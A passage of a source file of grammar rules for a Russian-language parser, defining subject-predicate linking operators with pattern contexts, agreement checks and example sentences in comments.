ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_Запятая
}
correlate { 0:РОД=2 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 3 }
}
operator SubjectVerb_340 : LINK_SUBJECT_VERB
{
// ОНА - БЕЛАЯ, ...
if context {
МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ}
_Дефис
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_Запятая
}
correlate { 0:РОД=2 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 3 }
}
operator SubjectVerb_342 : LINK_SUBJECT_VERB
{
// КТО-ТО - БЕЛЫЙ, ...
if context {
МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ }
_Дефис
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_Запятая
}
correlate { 0:РОД=2 }
then context { 0.<ATTRIBUTE>2 3 }
}
operator SubjectVerb_350 : LINK_SUBJECT_VERB
{
// КОШКА БЕЛАЯ.
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_КОН
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_351 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА БЕЛАЯ.
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_КОН
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_360 : LINK_SUBJECT_VERB
{
// ОНА БЕЛАЯ.
if context {
МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_КОН
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_362 : LINK_SUBJECT_VERB
{
// КТО-ТО БЕЛЫЙ.
if context {
МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_КОН
}
correlate { 0:РОД=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_370 : LINK_SUBJECT_VERB
{
// КОШКА БЕЛАЯ, ...
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_Запятая
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_371 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА БЕЛАЯ, ...
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_Запятая
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_372 : LINK_SUBJECT_VERB
{
// КОШКА БЕЛАЯ ПОСТОЛЬКУ, ПОСКОЛЬКУ ...
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
СОЮЗ:ПОСТОЛЬКУ,ПОСКОЛЬКУ{}
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_373 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА БЕЛАЯ ПОСТОЛЬКУ, ПОСКОЛЬКУ ...
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
СОЮЗ:ПОСТОЛЬКУ,ПОСКОЛЬКУ{}
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_380 : LINK_SUBJECT_VERB
{
// ОНА БЕЛАЯ ПОСТОЛЬКУ, ПОСКОЛЬКУ
if context {
МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
СОЮЗ:ПОСТОЛЬКУ,ПОСКОЛЬКУ{}
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_381 : LINK_SUBJECT_VERB
{
// ОНА БЕЛАЯ, ...
if context {
МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_Запятая
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_382 : LINK_SUBJECT_VERB
{
// КТО-ТО БЕЛЫЙ, ...
if context {
МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_Запятая
}
correlate { 0:РОД=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
operator SubjectVerb_383 : LINK_SUBJECT_VERB
{
// КТО-ТО БЕЛЫЙ ПОСТОЛЬКУ, ПОСКОЛЬКУ
if context {
МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
СОЮЗ:ПОСТОЛЬКУ,ПОСКОЛЬКУ{}
}
correlate { 0:РОД=1 }
then context { 0.<ATTRIBUTE>1 2 }
}
// ********************************************
// <X> ТАКОЙ ЖЕ КАК <Y>
// ********************************************
operator SubjectVerb_500 : LINK_SUBJECT_VERB
{
// КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК СОБАКА.
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1.{ 2 5 } }
}
operator SubjectVerb_501 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК СОБАКА.
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1.{ 2 5 } }
}
operator SubjectVerb_502 : LINK_SUBJECT_VERB
{
// КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК ОДНА СОБАКА.
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1.{ 2 5 } }
}
operator SubjectVerb_503 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК ОДНА СОБАКА.
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1.{ 2 5 } }
}
operator SubjectVerb_510 : LINK_SUBJECT_VERB
{
// ОНА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК СОБАКА.
if context {
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1.{ 2 5 } }
}
operator SubjectVerb_511 : LINK_SUBJECT_VERB
{
// ОНА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК ОДНА СОБАКА.
if context {
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1.{ 2 5 } }
}
operator SubjectVerb_520 : LINK_SUBJECT_VERB
{
// КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК МЫ.
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1.{ 2 5 } }
}
operator SubjectVerb_521 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК МЫ.
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1.{ 2 5 } }
}
operator SubjectVerb_530 : LINK_SUBJECT_VERB
{
// КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И СОБАКА.
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СОЮЗ:И{}
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1. { 2 6 } }
}
operator SubjectVerb_531 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И СОБАКА.
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СОЮЗ:И{}
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1. { 2 6 } }
}
operator SubjectVerb_532 : LINK_SUBJECT_VERB
{
// КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ДВЕ СОБАКИ.
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СОЮЗ:И{}
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1. { 2 6 } }
}
operator SubjectVerb_533 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОДНА СОБАКА.
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СОЮЗ:И{}
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1. { 2 6 } }
}
operator SubjectVerb_540 : LINK_SUBJECT_VERB
{
// ОНА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И СОБАКА.
if context {
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СОЮЗ:И{}
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1. { 2 6 } }
}
operator SubjectVerb_541 : LINK_SUBJECT_VERB
{
// ОНА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОДНА СОБАКА.
if context {
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СОЮЗ:И{}
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1. { 2 6 } }
}
operator SubjectVerb_550 : LINK_SUBJECT_VERB
{
// КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОН.
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СОЮЗ:И{}
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1. { 2 6 } }
}
operator SubjectVerb_551 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА ТАКАЯ ЖЕ СИЛЬНАЯ, КАК И ОН.
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ:ТАКОЙ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ
_Запятая
СОЮЗ:КАК{}
СОЮЗ:И{}
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
}
correlate { 0:РОД=1 0:ЧИСЛО=1 }
then context { 0.<ATTRIBUTE>1. { 2 6 } }
}
// **************************************************************
operator SubjectVerb_1400 : LINK_SUBJECT_VERB
{
// 'СВИНЬЯ МОЛЧАЛА'
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b
}
correlate { РОД }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1401 : LINK_SUBJECT_VERB
{
// 'ОДНА СВИНЬЯ МОЛЧАЛА'
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b
}
correlate { РОД }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1420 : LINK_SUBJECT_VERB
{
// 'СВИНЬЯ ЗАМОЛЧИТ'
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b
}
correlate { ЧИСЛО }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1421 : LINK_SUBJECT_VERB
{
// 'ОДНА СВИНЬЯ ЗАМОЛЧИТ'
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b
}
correlate { ЧИСЛО }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1430 : LINK_SUBJECT_VERB
{
// 'СВИНЬЯ МОЛЧИТ'
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b
}
correlate { ЧИСЛО }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1431 : LINK_SUBJECT_VERB
{
// 'ОДНА СВИНЬЯ МОЛЧИТ'
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b
}
correlate { ЧИСЛО }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1440 : LINK_SUBJECT_VERB
{
// 'МОЛЧАЛА СВИНЬЯ'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
}
correlate { РОД ЧИСЛО }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1441 : LINK_SUBJECT_VERB
{
// 'МОЛЧАЛА ОДНА СВИНЬЯ'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
}
correlate { РОД ЧИСЛО }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1460 : LINK_SUBJECT_VERB
{
// 'ЗАМОЛЧИТ СВИНЬЯ'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
}
correlate { ЧИСЛО }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1461 : LINK_SUBJECT_VERB
{
// 'ЗАМОЛЧИТ ОДНА СВИНЬЯ'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
}
correlate { ЧИСЛО }
then context { <ATTRIBUTE>#b.<SUBJECT>#a }
}
operator SubjectVerb_1470 : LINK_SUBJECT_VERB
{
// 'МОЛЧИТ СВИНЬЯ'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
}
correlate { ЧИСЛО }
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1471 : LINK_SUBJECT_VERB
{
// 'МОЛЧИТ ОДНА СВИНЬЯ'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ } #a
}
correlate { ЧИСЛО }
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1480 : LINK_SUBJECT_VERB
{
// 'ОНА УМЕРЛА'
if context {
МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b
}
correlate { РОД ЧИСЛО }
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1490 : LINK_SUBJECT_VERB
{
// 'ОНА УМРЕТ'
if context {
МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ } #b
}
correlate { ЛИЦО ЧИСЛО }
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1500 : LINK_SUBJECT_VERB
{
// 'ОНА УМИРАЕТ'
if context {
МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ } #b
}
correlate { ЛИЦО ЧИСЛО }
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1510 : LINK_SUBJECT_VERB
{
// 'УМЕРЛА ОНА'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ } #b
МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a
}
correlate { РОД ЧИСЛО }
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1520 : LINK_SUBJECT_VERB
{
// 'УМРЕТ ОНА'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ } #b
МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a
}
correlate { ЛИЦО ЧИСЛО }
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1530 : LINK_SUBJECT_VERB
{
// 'УМИРАЕТ ОНА'
if context {
ПРЕДИКАТ { НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ } #b
МЕСТОИМЕНИЕ { ПАДЕЖ:ИМ } #a
}
correlate { ЛИЦО ЧИСЛО }
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1600 : LINK_SUBJECT_VERB
{
// 'НЕКТО УМРЕТ'
if context {
МЕСТОИМ_СУЩ:*{ падеж:им } #a
ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1602 : LINK_SUBJECT_VERB
{
// 'НЕКТО УМЕР'
if context {
МЕСТОИМ_СУЩ:*{ падеж:им } #a
ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ РОД:МУЖ } #b
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1604 : LINK_SUBJECT_VERB
{
// 'НЕКТО УМИРАЕТ'
if context {
МЕСТОИМ_СУЩ:*{ падеж:им } #a
ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1610 : LINK_SUBJECT_VERB
{
// 'УМРЕТ НЕКТО'
if context {
ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:БУДУЩЕЕ ЛИЦО:3 } #b
МЕСТОИМ_СУЩ:*{ падеж:им } #a
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1614 : LINK_SUBJECT_VERB
{
// 'УМЕР НЕКТО'
if context {
ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:ПРОШЕДШЕЕ РОД:МУЖ } #b
МЕСТОИМ_СУЩ:*{ падеж:им } #a
}
then context { #b.<SUBJECT>#a }
}
operator SubjectVerb_1618 : LINK_SUBJECT_VERB
{
// 'УМИРАЕТ НЕКТО'
if context {
ПРЕДИКАТ { ЧИСЛО:ЕД НАКЛОНЕНИЕ:ИЗЪЯВ ВРЕМЯ:НАСТОЯЩЕЕ ЛИЦО:3 } #b
МЕСТОИМ_СУЩ:*{ падеж:им } #a
}
then context { #b.<SUBJECT>#a }
}
// "у него есть пистолет" --> "он имеет пистолет"
operator SubjectVerb_1620 : LINK_SUBJECT_VERB
{
if context {
ПРЕДЛОГ:У{}
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:РОД } #a
ПРЕДИКАТ:БЫТЬ { ЛИЦО:3 ЧИСЛО:ЕД } #b
СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ВИН } #c
}
then context {
ПРЕДИКАТ:ИМЕТЬ { ЛИЦО:1 ЧИСЛО:ЕД ВРЕМЯ:НАСТОЯЩЕЕ } : set { ЛИЦО=#a:ЛИЦО ЧИСЛО=#a:ЧИСЛО ВРЕМЯ=#b:ВРЕМЯ }
.{
<SUBJECT>#a /*:set { ПАДЕЖ:ИМ }*/
<OBJECT>#c
}
}
}
// ЭТО БЫЛА ТВОЯ ИГРУШКА
operator SubjectVerb_1630 : LINK_SUBJECT_VERB
{
if context {
МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } #a
ПРЕДИКАТ:БЫТЬ { } #b
СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } #c
}
correlate { 1:ЧИСЛО=2 1:РОД=2 }
then context { #b.{ <SUBJECT>#a <OBJECT>#c } }
}
operator SubjectVerb_1631 : LINK_SUBJECT_VERB
{
if context {
МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } #a
ПРЕДИКАТ:БЫТЬ { } #b
ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } #c
}
correlate { 1:ЧИСЛО=2 1:РОД=2 }
then context { #b.{ <SUBJECT>#a <OBJECT>#c } }
}
// БЫЛА ЛИ ЭТО ТВОЯ ИГРУШКА
operator SubjectVerb_1632 : LINK_SUBJECT_VERB
{
if context {
ПРЕДИКАТ:БЫТЬ { } #b
// ЧАСТИЦА:ЛИ{}
МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им } #a
СУЩЕСТВИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } #c
}
correlate { 0:ЧИСЛО=2 0:РОД=2 }
then context { #b.{ <SUBJECT>#a <OBJECT>#c } }
}
operator SubjectVerb_1633 : LINK_SUBJECT_VERB
{
if context {
ПРЕДИКАТ:БЫТЬ { } #b
// ЧАСТИЦА:ЛИ{}
МЕСТОИМ_СУЩ:ЭТО{ Падеж:Им }#a
ЧИСЛИТЕЛЬНОЕ:*{ ПАДЕЖ:ИМ } #c
}
correlate { 0:ЧИСЛО=2 0:РОД=2 }
then context { #b.{ <SUBJECT>#a <OBJECT>#c } }
}
// ****************************************************************************
// Далее идут конструкции, которые обычно встречаются в вопросах.
// ****************************************************************************
operator SubjectVerb_2000 : LINK_SUBJECT_VERB
{
// КТО ЕСТЬ ЧЕЛОВЕК?
if context {
МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a
ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:НАСТОЯЩЕЕ НАКЛОНЕНИЕ:ИЗЪЯВ } #c
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2010 : LINK_SUBJECT_VERB
{
// КТО БЫЛ ЧЕЛОВЕКОМ?
// КТО БУДЕТ ЧЕЛОВЕКОМ?
if context {
МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a
ПРЕДИКАТ:БЫТЬ{ НАКЛОНЕНИЕ:ИЗЪЯВ } #c
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ТВОР}#b
}
then context { #a.<ATTRIBUTE>#b:set {ПАДЕЖ:ИМ} }
}
operator SubjectVerb_2020 : LINK_SUBJECT_VERB
{
// КТО - ЧЕЛОВЕК?
if context {
МЕСТОИМ_СУЩ{ПАДЕЖ:ИМ}#a
_Дефис
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
}
then context { #a.<ATTRIBUTE>#b }
}
operator SubjectVerb_2030 : LINK_SUBJECT_VERB
{
// ЧЕЛОВЕК - ЭТО КТО?
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}#b
_Дефис
МЕСТОИМ_СУЩ:ЭТО{ПАДЕЖ:ИМ}
